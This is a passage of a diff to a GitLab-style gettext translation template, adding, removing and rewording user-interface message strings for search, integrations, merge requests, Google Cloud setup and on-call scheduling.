-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
